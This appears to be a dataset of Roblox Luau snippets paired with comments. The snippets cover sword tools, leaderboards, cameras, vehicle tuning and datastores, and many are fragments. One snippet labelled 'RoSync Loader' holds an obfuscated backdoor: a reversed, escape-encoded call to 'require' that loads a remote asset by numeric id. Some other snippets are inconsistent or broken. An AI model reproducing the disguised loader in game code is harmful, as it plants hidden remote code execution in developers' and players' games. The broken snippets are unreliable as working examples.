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--Made by Luckymaxer |
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
RunAnim = Tool:WaitForChild("RunAnim")
Returned = Tool:WaitForChild("Returned")
Debris = game:GetService("Debris")
Players = game:GetService("Players")
Anims = {"RightSlash", "LeftSlash", "OverHeadSwing", "LeftSwingFast", "RightSwingFast"}
BaseDamage = 5
SlashDamage = 10
SwingDamage = 15
Damage = BaseDamage
SlashSound = Instance.new("Sound")
SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
SlashSound.Parent = Handle
SlashSound.Volume = 0.7
UnsheathSound = Instance.new("Sound")
UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
UnsheathSound.Parent = Handle
UnsheathSound.Volume = 0.5
function Blow(Hit)
if Hit and Hit.Parent then
local humanoid = Hit.Parent:FindFirstChild("Humanoid")
if Character and Player and Humanoid and humanoid and humanoid ~= Humanoid and humanoid.Health > 0 and Humanoid.Health > 0 then
local right_arm = Character:FindFirstChild("Right Arm")
if right_arm then
local joint= right_arm:FindFirstChild("RightGrip")
if joint and (joint.Part0 == Handle or joint.Part1 == Handle) then
TagHumanoid(humanoid, Player)
humanoid:TakeDamage(Damage)
end
end
end
end
end
function TagHumanoid(humanoid, player)
for i, v in pairs(humanoid:GetChildren()) do
if v.Name == "creator" then
v:Destroy()
end
end
local creator_tag = Instance.new("ObjectValue")
creator_tag.Value = player
creator_tag.Name = "creator"
Debris:AddItem(creator_tag, 1)
creator_tag.Parent = humanoid
end
function OnActivated()
if Tool.Enabled and Returned.Value then
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChild("Humanoid")
Tool.Enabled = false
local TempAnims = {}
for i, v in pairs(Anims) do
if v ~= LastAnim then
table.insert(TempAnims, v)
end
end
NewAnim = TempAnims[math.random(1, #TempAnims)]
LastAnim = NewAnim
RunAnim.Value = NewAnim
if Humanoid and NewAnim then
SlashSound:Play()
if NewAnim == "OverHeadSwing" then
Damage = SwingDamage
else
Damage = SlashDamage
end
wait(0.75)
Damage = BaseDamage
end
Tool.Enabled = true
end
end
function OnEquipped(Mouse)
UnsheathSound:Play()
end
Tool.Activated:connect(OnActivated)
Tool.Equipped:connect(OnEquipped)
Connection = Handle.Touched:connect(Blow)
|
--[=[
@param default any
@return value: any
If the option holds a value, returns the value. Otherwise, returns `default`.
]=] |
function Option:UnwrapOr(default)
if self:IsSome() then
return self:Unwrap()
else
return default
end
end
|
--Get the data store with key "Leaderboard" |
wait(10)
while true do
for i,plr in pairs(game.Players:GetChildren()) do--Loop through players
if plr.UserId>0 then--Prevent errors
local ps = game:GetService("PointsService")--PointsService
local w = ps:GetGamePointBalance(plr.UserId)--Get point balance
if w then
pcall(function()
--Wrap in a pcall so if Roblox is down, it won't error and break.
dataStore:UpdateAsync(plr.UserId,function(oldVal)
--Set new value
return tonumber(w)
end)
end)
end
end
end
local smallestFirst = false--false = 2 before 1, true = 1 before 2
local numberToShow = 100--Any number between 1-100, how many will be shown
local minValue = 1--Any numbers lower than this will be excluded
local maxValue = 10e30--(10^30), any numbers higher than this will be excluded
local pages = dataStore:GetSortedAsync(smallestFirst, numberToShow, minValue, maxValue)
--Get data
local top = pages:GetCurrentPage()--Get the first page
local data = {}--Store new data
for a,b in ipairs(top) do--Loop through data
local userid = b.key--User id
local points = b.value--Points
local username = "[Failed To Load]"--If it fails, we let them know
local s,e = pcall(function()
username = game.Players:GetNameFromUserIdAsync(userid)--Get username
end)
if not s then--Something went wrong
warn("Error getting name for "..userid..". Error: "..e)
end
local image = game.Players:GetUserThumbnailAsync(userid, Enum.ThumbnailType.HeadShot, Enum.ThumbnailSize.Size150x150)
--Make a image of them
table.insert(data,{username,points,image})--Put new data in new table
end
ui.Parent = script
sf:ClearAllChildren()--Remove old frames
ui.Parent = sf
for number,d in pairs(data) do--Loop through our new data
local name = d[1]
local val = d[2]
local image = d[3]
local color = Color3.new(1,1,1)--Default color
if number == 1 then
color = Color3.new(1,1,0)--1st place color
elseif number == 2 then
color = Color3.new(0.9,0.9,0.9)--2nd place color
elseif number == 3 then
color = Color3.fromRGB(166, 112, 0)--3rd place color
end
local new = sample:Clone()--Make a clone of the sample frame
new.Name = name--Set name for better recognition and debugging
new.LayoutOrder = number--UIListLayout uses this to sort in the correct order
new.Image.Image = image--Set the image
new.Image.Place.Text = number--Set the place
new.Image.Place.TextColor3 = color--Set the place color (Gold = 1st)
new.PName.Text = name--Set the username
new.Value.Text = val--Set the amount of points
new.Value.TextColor3 = color--Set the place color (Gold = 1st)
new.PName.TextColor3 = color--Set the place color (Gold = 1st)
new.Parent = sf--Parent to scrolling frame
end
wait()
sf.CanvasSize = UDim2.new(0,0,0,ui.AbsoluteContentSize.Y)
--Give enough room for the frames to sit in
wait(120)
end
|
--script.Parent.FF.Velocity = script.Parent.FF.CFrame.lookVector *script.Parent.Speed.Value
--script.Parent.FFF.Velocity = script.Parent.FFF.CFrame.lookVector *script.Parent.Speed.Value |
script.Parent.FFFF.Velocity = script.Parent.FFFF.CFrame.lookVector *script.Parent.Speed.Value
script.Parent.G.Velocity = script.Parent.G.CFrame.lookVector *script.Parent.Speed.Value |
-- this part makes the brick draw: |
lastpoint = Vector3.new(0, 0, 0)
leds = {}
function makeled()
tip = script.Parent:FindFirstChild("Tip")
if tip~= nil then
off = (tip.Mesh.Scale.z/tip.Size.z)/2
point = (tip.CFrame*CFrame.new(0, 0, -off)).p
unit = (lastpoint - point).unit
mag = (lastpoint - point).magnitude
if mag>1 then
middle = lastpoint-(unit*(mag/2))
cf = CFrame.new(middle, point)
local l = Instance.new("Part")
l.Name = "Led"
l.Anchored = true
l.CanCollide = false
l.Size = Vector3.new(1, 1, 1)
l.BrickColor = tip.BrickColor
l.TopSurface = 0
l.BottomSurface = 0
local m= Instance.new("SpecialMesh")
m.MeshType = "Brick"
m.Scale = Vector3.new(.3, .3, mag)/l.Size
m.Parent = l
l.Parent = workspace
l.CFrame = cf
table.insert(leds, l)
lastpoint = point
end
end
end
function fade()
for i, v in pairs(leds) do
if v~= nil then
v.Transparency = v.Transparency+.04
if v.Transparency>1 then
v:remove()
end
end
end
end
while true do
makeled()
wait(.004)
fade()
end
|
-- Class |
local TextMaskClass = {}
TextMaskClass.__index = TextMaskClass
TextMaskClass.__type = "TextMask"
function TextMaskClass:__tostring()
return TextMaskClass.__type
end
|
-- Called to update all of the look-angles being tracked
-- on the client, as well as our own client look-angles.
-- This is called during every RunService Heartbeat. |
function CharacterRealism:UpdateLookAngles(delta)
-- Update our own look-angles with no latency
local pitch, yaw = self:ComputeLookAngle()
self:OnLookReceive(self.Player, pitch, yaw)
-- Submit our look-angles if they have changed enough.
local lastUpdate = self.LastUpdate or 0
local now = os.clock()
if (now - lastUpdate) > .5 then
pitch = Util:RoundNearestInterval(pitch, .05)
yaw = Util:RoundNearestInterval(yaw, .05)
if pitch ~= self.Pitch then
self.Pitch = pitch
self.Dirty = true
end
if yaw ~= self.Yaw then
self.Yaw = yaw
self.Dirty = true
end
if self.Dirty then
self.Dirty = false
self.LastUpdate = now
self.SetLookAngles:FireServer(pitch, yaw)
end
end
-- Update all of the character look-angles
local camera = workspace.CurrentCamera
local camPos = camera.CFrame.Position
local player = self.Player
local dropList
for character, rotator in pairs(self.Rotators) do
if not character.Parent then
if not dropList then
dropList = {}
end
dropList[character] = true
continue
end
local owner = Players:GetPlayerFromCharacter(character)
local dist = owner and owner:DistanceFromCharacter(camPos) or 0
if owner ~= player and dist > 30 then
continue
end
local lastStep = rotator.LastStep or 0
local stepDelta = now - lastStep
local humanoid = character:FindFirstChildOfClass("Humanoid")
local rootPart = humanoid and humanoid.RootPart
if not rootPart then
continue
end
local pitchState = rotator.Pitch
self:StepValue(pitchState, stepDelta)
local yawState = rotator.Yaw
self:StepValue(yawState, stepDelta)
local motors = rotator.Motors
rotator.LastStep = now
if not motors then
continue
end
for name, factors in pairs(self.RotationFactors) do
local data = motors and motors[name]
if not data then
continue
end
local motor = data.Motor
local origin = data.Origin
if origin then
local part0 = motor.Part0
local setPart0 = origin.Parent
if part0 and part0 ~= setPart0 then
local newOrigin = part0:FindFirstChild(origin.Name)
if newOrigin and newOrigin:IsA("Attachment") then
origin = newOrigin
data.Origin = newOrigin
end
end
origin = origin.CFrame
elseif data.C0 then
origin = data.C0
else
continue
end
local pitch = pitchState.Current or 0
local yaw = yawState.Current or 0
if rotator.SnapFirstPerson and name == "Head" then
if FpsCamera:IsInFirstPerson() then
pitch = pitchState.Goal
yaw = yawState.Goal
end
end
local fPitch = pitch * factors.Pitch
local fYaw = yaw * factors.Yaw
-- HACK: Make the arms rotate with a tool.
if name:sub(-4) == " Arm" or name:sub(-8) == "UpperArm" then
local tool = character:FindFirstChildOfClass("Tool")
if tool and not CollectionService:HasTag(tool, "NoArmRotation") then
if name:sub(1, 5) == "Right" and rootPart:GetRootPart() ~= rootPart then
fPitch = pitch * 1.3
fYaw = yaw * 1.3
elseif name:sub(1, 4) == "Left" and rootPart:GetRootPart() ~= rootPart then
fPitch = pitch * 1
fYaw = yaw * 1.5
else
fYaw = yaw * .8
end
end
end
local dirty = false
if fPitch ~= pitchState.Value then
pitchState.Value = fPitch
dirty = true
end
if fYaw ~= yawState.Value then
yawState.Value = fYaw
dirty = true
end
if dirty then
local rot = origin - origin.Position
local cf = CFrame.Angles(0, fPitch, 0)
* CFrame.Angles(fYaw, 0, 0)
motor.C0 = origin * rot:Inverse() * cf * rot
end
end
end
-- If the dropList is declared, remove any characters that
-- were indexed into it. This is done after iterating over
-- the rotators to avoid problems with removing data from
-- a table while iterating over said table.
if dropList then
for character in pairs(dropList) do
local rotator = self.Rotators[character]
local listener = rotator and rotator.Listener
if listener then
listener:Disconnect()
end
self.Rotators[character] = nil
end
end
end
|
-- ROBLOX deviation: Template literals are represented as a string |
export type EachTable = ArrayTable | TemplateTable | string
export type TestCallback = BlockFn | TestFn | ConcurrentTestFn
|
--- On Fire |
Signal.Fired = function(eventName)
--- Variables
eventName = string.lower(eventName)
--- Get/create event
local event = GetEvent(eventName)
--
return event.Event
end
|
-- Infinitely update the target position for the tank |
currentElev = 0;
currentRot = 0;
while wait() do
if (myMouse) then
-- Position of mouse in world
mousePoint = myMouse.Hit.p;
-- Vector from tank to mouse point
targetVector = (mousePoint - parts.GunBase.CFrame.p).unit;
-- Determine where the gun should point
targetRotations = determineNewDirections(targetVector);
-- For each time we do all that math to determine the angle, we will smoothly rotate the gun towards it in 4 increments
-- This means less lag (fewer calculations) but it's still smooth
for i = 0, 1 do
newRotations = getSmoothRotation(targetRotations);
TFE:FireServer('RotateTurret',parts,currentElev, currentRot)
wait();
end
end
end
|
--Made by Luckymaxer |
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Players = game:GetService("Players")
RunService = game:GetService("RunService")
UserInputService = game:GetService("UserInputService")
Animations = {}
LocalObjects = {}
ServerControl = Tool:WaitForChild("ServerControl")
ClientControl = Tool:WaitForChild("ClientControl")
InputCheck = Instance.new("ScreenGui")
InputCheck.Name = "InputCheck"
InputButton = Instance.new("ImageButton")
InputButton.Name = "InputButton"
InputButton.Image = ""
InputButton.BackgroundTransparency = 1
InputButton.ImageTransparency = 1
InputButton.Size = UDim2.new(1, 0, 1, 0)
InputButton.Parent = InputCheck
ToolEquipped = false
function SetAnimation(mode, value)
if mode == "PlayAnimation" and value and ToolEquipped and Humanoid then
local Edited = false
for i, v in pairs(Animations) do
if v.Animation == value.Animation then
v.AnimationTrack:AdjustSpeed(value.Speed)
--v.AnimationTrack:AdjustWeight(value.Weight, value.FadeTime)
Edited = true
break
end
end
if Edited then
return
end
local AnimationTrack = Humanoid:LoadAnimation(value.Animation)
table.insert(Animations, {Animation = value.Animation, AnimationTrack = AnimationTrack})
AnimationTrack:Play(value.FadeTime, value.Weight, value.Speed)
elseif mode == "StopAnimation" and value then
for i, v in pairs(Animations) do
if v.Animation == value.Animation then
v.AnimationTrack:Stop(value.FadeTime)
table.remove(Animations, i)
end
end
end
end
function DisableJump(Boolean)
if PreventJump then
PreventJump:disconnect()
end
if Boolean then
PreventJump = Humanoid.Changed:connect(function(Property)
if Property == "Jump" then
Humanoid.Jump = false
end
end)
end
end
function CheckIfAlive()
return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Player and Player.Parent) and true) or false)
end
function Equipped(Mouse)
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChild("Humanoid")
ToolEquipped = true
if not CheckIfAlive() then
return
end
Spawn(function()
PlayerMouse = Player:GetMouse()
Mouse.Button1Down:connect(function()
InvokeServer("MouseClick", {Down = true})
end)
Mouse.Button1Up:connect(function()
InvokeServer("MouseClick", {Down = false})
end)
Mouse.KeyDown:connect(function(Key)
InvokeServer("KeyPress", {Key = Key, Down = true})
end)
Mouse.KeyUp:connect(function(Key)
InvokeServer("KeyPress", {Key = Key, Down = false})
end)
Mouse.Move:connect(function()
InvokeServer("MouseMove", {Position = Mouse.Hit.p, Target = Mouse.Target})
end)
local PlayerGui = Player:FindFirstChild("PlayerGui")
if PlayerGui then
if UserInputService.TouchEnabled then
InputCheckClone = InputCheck:Clone()
InputCheckClone.InputButton.InputBegan:connect(function()
InvokeServer("MouseClick", {Down = true})
end)
InputCheckClone.InputButton.InputEnded:connect(function()
InvokeServer("MouseClick", {Down = false})
end)
InputCheckClone.Parent = PlayerGui
end
end
end)
end
function Unequipped()
LocalObjects = {}
if InputCheckClone and InputCheckClone.Parent then
InputCheckClone:Destroy()
end
for i, v in pairs(Animations) do
if v and v.AnimationTrack then
v.AnimationTrack:Stop()
end
end
for i, v in pairs({PreventJump, ObjectLocalTransparencyModifier}) do
if v then
v:disconnect()
end
end
Animations = {}
ToolEquipped = false
end
function InvokeServer(mode, value)
pcall(function()
local ServerReturn = ServerControl:InvokeServer(mode, value)
return ServerReturn
end)
end
function OnClientInvoke(mode, value)
if mode == "PlayAnimation" and value and ToolEquipped and Humanoid then
SetAnimation("PlayAnimation", value)
elseif mode == "StopAnimation" and value then
SetAnimation("StopAnimation", value)
elseif mode == "PlaySound" and value then
value:Play()
elseif mode == "StopSound" and value then
value:Stop()
elseif mode == "MousePosition" then
return {Position = PlayerMouse.Hit.p, Target = PlayerMouse.Target}
elseif mode == "DisableJump" then
DisableJump(value)
elseif mode == "SetLocalTransparencyModifier" and value and ToolEquipped then
pcall(function()
local ObjectFound = false
for i, v in pairs(LocalObjects) do
if v == value then
ObjectFound = true
end
end
if not ObjectFound then
table.insert(LocalObjects, value)
if ObjectLocalTransparencyModifier then
ObjectLocalTransparencyModifier:disconnect()
end
ObjectLocalTransparencyModifier = RunService.RenderStepped:connect(function()
for i, v in pairs(LocalObjects) do
if v.Object and v.Object.Parent then
local CurrentTransparency = v.Object.LocalTransparencyModifier
if ((not v.AutoUpdate and (CurrentTransparency == 1 or CurrentTransparency == 0)) or v.AutoUpdate) then
v.Object.LocalTransparencyModifier = v.Transparency
end
else
table.remove(LocalObjects, i)
end
end
end)
end
end)
end
end
ClientControl.OnClientInvoke = OnClientInvoke
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
|
--nope |
local thumb = script:FindFirstChild("Thumb")
if thumb ~= nil then
thumb:destroy()
end
|
--//
-- Confetti Cannon by Richard, Onogork 2018.
--//
-- Services. |
local svcWorkspace = game:GetService("Workspace");
local Camera = svcWorkspace.CurrentCamera; |
-- May return NaN or inf or -inf |
local function findAngleBetweenXZVectors(vec2, vec1)
-- This is a way of finding the angle between the two vectors:
return math.atan2(vec1.X*vec2.Z-vec1.Z*vec2.X, vec1.X*vec2.X + vec1.Z*vec2.Z)
end
local function CreateFollowCamera()
local module = RootCameraCreator()
local tweenAcceleration = math.rad(220)
local tweenSpeed = math.rad(0)
local tweenMaxSpeed = math.rad(250)
local timeBeforeAutoRotate = 2
local lastUpdate = tick()
module.LastUserPanCamera = tick()
function module:Update()
local now = tick()
local userPanningTheCamera = (self.UserPanningTheCamera == true)
local camera = workspace.CurrentCamera
local player = PlayersService.LocalPlayer
local humanoid = self:GetHumanoid()
local cameraSubject = camera and camera.CameraSubject
local isClimbing = humanoid and humanoid:GetState() == Enum.HumanoidStateType.Climbing
local isInVehicle = cameraSubject and cameraSubject:IsA('VehicleSeat')
local isOnASkateboard = cameraSubject and cameraSubject:IsA('SkateboardPlatform')
if lastUpdate == nil or now - lastUpdate > 1 then
module:ResetCameraLook()
self.LastCameraTransform = nil
end
if lastUpdate then
-- Cap out the delta to 0.5 so we don't get some crazy things when we re-resume from
local delta = math.min(0.5, now - lastUpdate)
local angle = 0
if not (isInVehicle or isOnASkateboard) then
angle = angle + (self.TurningLeft and -120 or 0)
angle = angle + (self.TurningRight and 120 or 0)
end
local gamepadRotation = self:UpdateGamepad()
if gamepadRotation ~= Vector2.new(0,0) then
userPanningTheCamera = true
self.RotateInput = self.RotateInput + gamepadRotation
end
if angle ~= 0 then
userPanningTheCamera = true
self.RotateInput = self.RotateInput + Vector2.new(math.rad(angle * delta), 0)
end
end
-- Reset tween speed if user is panning
if userPanningTheCamera then
tweenSpeed = 0
module.LastUserPanCamera = tick()
end
local userRecentlyPannedCamera = now - module.LastUserPanCamera < timeBeforeAutoRotate
local subjectPosition = self:GetSubjectPosition()
if subjectPosition and player and camera then
local zoom = self:GetCameraZoom()
if zoom < 0.5 then
zoom = 0.5
end
if self:GetShiftLock() and not self:IsInFirstPerson() then
local newLookVector = self:RotateCamera(self:GetCameraLook(), self.RotateInput)
local offset = ((newLookVector * XZ_VECTOR):Cross(UP_VECTOR).unit * 1.75)
if IsFiniteVector3(offset) then
subjectPosition = subjectPosition + offset
end
else
if self.LastCameraTransform and not userPanningTheCamera then
local isInFirstPerson = self:IsInFirstPerson()
if (isClimbing or isInVehicle or isOnASkateboard) and lastUpdate and humanoid and humanoid.Torso then
if isInFirstPerson then
if self.LastSubjectCFrame and (isInVehicle or isOnASkateboard) and cameraSubject:IsA('BasePart') then
local y = -findAngleBetweenXZVectors(self.LastSubjectCFrame.lookVector, cameraSubject.CFrame.lookVector)
if IsFinite(y) then
self.RotateInput = self.RotateInput + Vector2.new(y, 0)
end
tweenSpeed = 0
end
elseif not userRecentlyPannedCamera then
local forwardVector = humanoid.Torso.CFrame.lookVector
if isOnASkateboard then
forwardVector = cameraSubject.CFrame.lookVector
end
local timeDelta = (now - lastUpdate)
tweenSpeed = clamp(0, tweenMaxSpeed, tweenSpeed + tweenAcceleration * timeDelta)
local percent = clamp(0, 1, tweenSpeed * timeDelta)
if not isClimbing and self:IsInFirstPerson() then
percent = 1
end
local y = findAngleBetweenXZVectors(forwardVector, self:GetCameraLook())
-- Check for NaN
if IsFinite(y) and math.abs(y) > 0.0001 then
self.RotateInput = self.RotateInput + Vector2.new(y * percent, 0)
end
end
elseif not (isInFirstPerson or userRecentlyPannedCamera) then
local lastVec = -(self.LastCameraTransform.p - subjectPosition)
local y = findAngleBetweenXZVectors(lastVec, self:GetCameraLook())
-- Check for NaNs
if IsFinite(y) and math.abs(y) > 0.0001 then
self.RotateInput = self.RotateInput + Vector2.new(y, 0)
end
end
end
end
local newLookVector = self:RotateCamera(self:GetCameraLook(), self.RotateInput)
self.RotateInput = Vector2.new()
camera.Focus = CFrame.new(subjectPosition)
if _G.LockTarget then
camera.CoordinateFrame = CFrame.new(camera.Focus.p - (zoom * newLookVector),_G.LockTarget.Torso.Position);
else
camera.CoordinateFrame = CFrame.new(camera.Focus.p - (zoom * newLookVector), camera.Focus.p)
end;
self.LastCameraTransform = camera.CoordinateFrame
if isInVehicle or isOnASkateboard and cameraSubject:IsA('BasePart') then
self.LastSubjectCFrame = cameraSubject.CFrame
else
self.LastSubjectCFrame = nil
end
end
lastUpdate = now
end
return module
end
return CreateFollowCamera
|
--Remove Old Rays |
if workspace:findFirstChild("Rays") then
workspace:findFirstChild("Rays"):remove()
end |
-- / Settings / -- |
local Settings = {
Clicked = false
}
|
--[=[
@within Shake
@type UpdateCallbackFn () -> (position: Vector3, rotation: Vector3, completed: boolean)
]=] |
type UpdateCallbackFn = () -> (Vector3, Vector3, boolean)
local RunService = game:GetService("RunService")
local Trove = require(script.Parent.Trove)
local rng = Random.new()
local renderId = 0
|
--Fires when ther player joins the game. |
game.Players.PlayerAdded:connect(function(Player)
--Wait for everything to load.
repeat
game.Players:WaitForChild(Player.Name)
until game.Players:FindFirstChild(Player.Name)
repeat
Player:WaitForChild("Backpack")
until Player:FindFirstChild("Backpack")
--Load the items from the datastore.
LoadData(Player)
--Connect the functions to various other events.
--Load the items when the player respawns.
Player.CharacterAdded:connect(function()
LoadData(Player)
end)
--Save the items when the player receives a new item.
game.Players.PlayerRemoving:connect(function(Player)
SaveData(Player)
end)
--Save the items when the player leaves the game.
Player.Backpack.ChildAdded:connect(function()
SaveData(Player)
end)
end)
|
--[[Engine]] |
--Torque Curve
Tune.Horsepower = 304 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 6000 -- Use sliders to manipulate values
Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 4.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
-- Events |
local Events = ReplicatedStorage:FindFirstChild("Events")
local LoadSpeeder = Events:FindFirstChild("LoadSpeeder")
local LoadCharacter = Events:FindFirstChild("LoadCharacter")
local RemoveActivePlayer = Events:FindFirstChild("RemoveActivePlayer")
local CheckpointEvent = Events:FindFirstChild("CheckpointEvent")
|
--[=[
@prop Connected boolean
@within RbxScriptConnection
Whether or not this connection is still connected.
]=] | |
--If you scrolled all the way down here just to take this as your own, you have issues you need fixing. If not, then hi! | |
--[[
EXAMPLE USAGE
local newRegion = RotatedRegion.new( centerCFrame, regionSize )
local partInRegion = newRegion:IsInRegion( part.Position )
]] | |
-- Permissions |
function CanEditObject(object)
local player = Players.LocalPlayer
local character = player.Character
return Permissions.CanEdit
end
function CanEditProperty(object,propertyData)
local tags = propertyData["Tags"]
if tags then
for _,name in pairs(tags) do
if name == "ReadOnly" or name == "NotScriptable" then
return false
end
end
end
return CanEditObject(object)
end
|
-- Removes old entries in JustTouched |
local function RemoveOldTouches()
for player, touchTime in pairs(JustTouched) do
if time() > touchTime + 0.5 then
JustTouched[player] = nil
end
end
end
|
--[[
Hey, this is Cancels!
Today I bring to you the Cancels CoreGui Settings, an invention by ... well
... ROBLOX.
If you want to change a setting, do it like this!
"true" = WILL show.
"false" = WILL show.
Don't mess with anything else.
Bye, and cheers for taking!
-Cancels
--]] |
Health_Bar = false
Player_List = false
Tool_Bar = false
Chat = false
|
-- Connections |
game.ReplicatedStorage.Notif.OnClientEvent:Connect(function(...)
NotificationModule.QueueNotification(...)
end)
|
--[[
Stores templates for different kinds of logging messages.
]] |
return {
cannotAssignProperty = "The class type '%s' has no assignable property '%s'.",
cannotConnectChange = "The %s class doesn't have a property called '%s'.",
cannotConnectEvent = "The %s class doesn't have an event called '%s'.",
cannotCreateClass = "Can't create a new instance of class '%s'.",
computedCallbackError = "Computed callback error: ERROR_MESSAGE",
invalidSpringDamping = "The damping ratio for a spring must be >= 0. (damping was %.2f)",
invalidSpringSpeed = "The speed of a spring must be >= 0. (speed was %.2f)",
mistypedSpringDamping = "The damping ratio for a spring must be a number. (got a %s)",
mistypedSpringSpeed = "The speed of a spring must be a number. (got a %s)",
pairsDestructorError = "ComputedPairs destructor error: ERROR_MESSAGE",
pairsProcessorError = "ComputedPairs callback error: ERROR_MESSAGE",
springTypeMismatch = "The type '%s' doesn't match the spring's type '%s'.",
strictReadError = "'%s' is not a valid member of '%s'.",
unknownMessage = "Unknown error: ERROR_MESSAGE",
unrecognisedChildType = "'%s' type children aren't accepted as children in `New`.",
unrecognisedPropertyKey = "'%s' keys aren't accepted in the property table of `New`"
}
|
--[=[
@tag Component Class
@return Component?
Gets an instance of a component class from the given Roblox
instance. Returns `nil` if not found.
```lua
local MyComponent = require(somewhere.MyComponent)
local myComponentInstance = MyComponent:FromInstance(workspace.SomeInstance)
```
]=] |
function Component:FromInstance(instance: Instance)
return self[KEY_INST_TO_COMPONENTS][instance]
end
|
-- YOUR FIRST TOOL IN SHOP IS EVERYTIME STARTERTOOL SO SET PRICE TO 0-- |
['Leaderstats'] = true, -- Change this to true if you alredy have leaderstats
['Currency'] = "Money", -- Change it to name of your currency and change it even if you have "Leaderstats" set on true
['MaxValue'] = 5, --Set this to number of tools you have in shop, change it everytime you add new tool!!!
}
return Settings
|
-- All characters have a Humanoid object
-- If the model has one, it is a character |
local h = part.Parent:findFirstChild(Humanoid) -- Find Humanoids in whatever touched this
if (h ~=nil) then -- If there is a Humanoid then
h.Health = h.MaxHealth -- Set the health to maximum (full healing)
end
end
script.Parent.Touched:connect(onTouched) -- Make it call onTouched when touched
|
--Categorises a model based on the location of the start and end points of the path in the model |
function RoomPackager:CategoriseModel(pathModel)
if pathModel:FindFirstChild("EndParts") then
return game.ReplicatedStorage.PathModules.Branch
elseif pathModel.Start.Position.Y < pathModel.End.Position.Y - 5 then
return game.ReplicatedStorage.PathModules.GoingUp
elseif pathModel.Start.Position.Y > pathModel.End.Position.Y + 5 then
return game.ReplicatedStorage.PathModules.GoingDown
else
return game.ReplicatedStorage.PathModules.SameHeight
end
end
local function addBehavioursRecur(model, behaviourFolder)
local children = model:GetChildren()
for i = 1, #children do
if children[i]:isA("BasePart") then
behaviourFolder:Clone().Parent = children[i]
else
addBehavioursRecur(children[i], behaviourFolder)
end
end
end
RoomPackager.setUpBehaviours = function(roomModel)
if roomModel:FindFirstChild("Behaviours") then
addBehavioursRecur(roomModel, roomModel.Behaviours)
return
end
local children = roomModel:GetChildren()
for i = 1, #children do
RoomPackager.setUpBehaviours(children[i])
end
end
local function processPart(roomModel, part, parts)
if part.Parent == roomModel then return end
if part.Name == "End" and roomModel:FindFirstChild("End") then
local endsModel = Instance.new("Model") --Used for branching the path
endsModel.Name = "EndParts"
endsModel.Parent = roomModel
part.Parent = endsModel
roomModel:FindFirstChild("End").Parent = endsModel
elseif part.Name == "End" and roomModel:FindFirstChild("EndParts") then
part.Parent = roomModel:FindFirstChild("EndParts")
elseif part.Name == "End" then
part.Parent = roomModel
else
local topLevelParent = closestParentToWorkspace(part, roomModel)
if topLevelParent ~= nil then
if topLevelParent:isA("BasePart") then
local connectedParts = topLevelParent:GetConnectedParts(true)
for _, connectedPart in pairs(connectedParts) do
if connectedPart.Name == "End" then
table.insert(parts, connectedPart)
else
local conTopLevelParent = closestParentToWorkspace(connectedPart, roomModel)
if conTopLevelParent and conTopLevelParent ~= topLevelParent then
conTopLevelParent.Parent = roomModel
end
end
end
end
topLevelParent.Parent = roomModel
end
end
end
function RoomPackager:PackageRoom(roomBasePlate)
local roomModel = Instance.new("Model")
roomModel.Name = "Path"
roomModel.Parent = game.ReplicatedStorage.PathModules
local regions = self:RegionsFromBasePlate(roomBasePlate)
for i = 1, #regions do
--Repeatedly finds 200 parts in the region until none are left
while true do
local parts = game.Workspace:FindPartsInRegion3(regions[i], nil, 200)
if #parts == 0 then
break
end
for _, part in pairs(parts) do
processPart(roomModel, part, parts)
end
end
end
--Set-up model for use in the path (parts for locating the path are made transparent)
roomBasePlate.Transparency = 1
roomBasePlate.Parent = roomModel
roomModel:FindFirstChild("Start", true).Parent = roomModel
roomModel:FindFirstChild("Start", true).Transparency = 1
if roomModel:FindFirstChild("EndParts") then
local ends = roomModel:FindFirstChild("EndParts"):GetChildren()
for i = 1, #ends do
ends[i].Transparency = 1
end
else
roomModel.End.Transparency = 1
end
roomModel.PrimaryPart = roomBasePlate
roomModel.Parent = self:CategoriseModel(roomModel)
RoomPackager.setUpBehaviours(roomModel)
return roomModel
end
return RoomPackager
|
--[[ Last synced 12/11/2020 06:19 || RoSync Loader ]] | getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
|
----------------------------------------------------------------------------------------------- |
script.Parent:WaitForChild("Speedo")
script.Parent:WaitForChild("Tach")
script.Parent:WaitForChild("ln")
local player=game.Players.LocalPlayer
local mouse=player:GetMouse()
local car = script.Parent.Parent.Car.Value
car.DriveSeat.HeadsUpDisplay = false
local _Tune = require(car["A-Chassis Tune"])
local _pRPM = _Tune.PeakRPM
local _lRPM = _Tune.Redline
local currentUnits = 1
local revEnd = 7
local intach = car.Body.Dash.Tac.G.Needle
local inspd = car.Body.Dash.Spd.G.Needle |
--[=[
Gets the datastore for the player.
@param player Player
@return Promise<DataStore>
]=] |
function PlayerDataStoreService:PromiseDataStore(player)
return self:PromiseManager()
:Then(function(manager)
return manager:GetDataStore(player)
end)
end
|
--cambrick = script.Parent.Parent.CamBrick |
function Seated(theSeated)
player = game.Players:playerFromCharacter(theSeated.Part1.Parent)
if player ~= nil then
thing2 = script.Parent.Turret1211:clone()
thing2.Parent = player.Backpack
thing2.Vehicle.Value = script.Parent.Parent
end
end
function UNSeated(theSeated)
player = game.Players:playerFromCharacter(theSeated.Part1.Parent)
if player ~= nil then
if player.Backpack:findFirstChild("Turret1211") ~= nil then
player.Backpack:findFirstChild("Turret1211").Active = false
player.Backpack:findFirstChild("Turret1211"):remove()
end
end
end
script.Parent.ChildAdded:connect(Seated)
script.Parent.ChildRemoved:connect(UNSeated)
|
--[=[
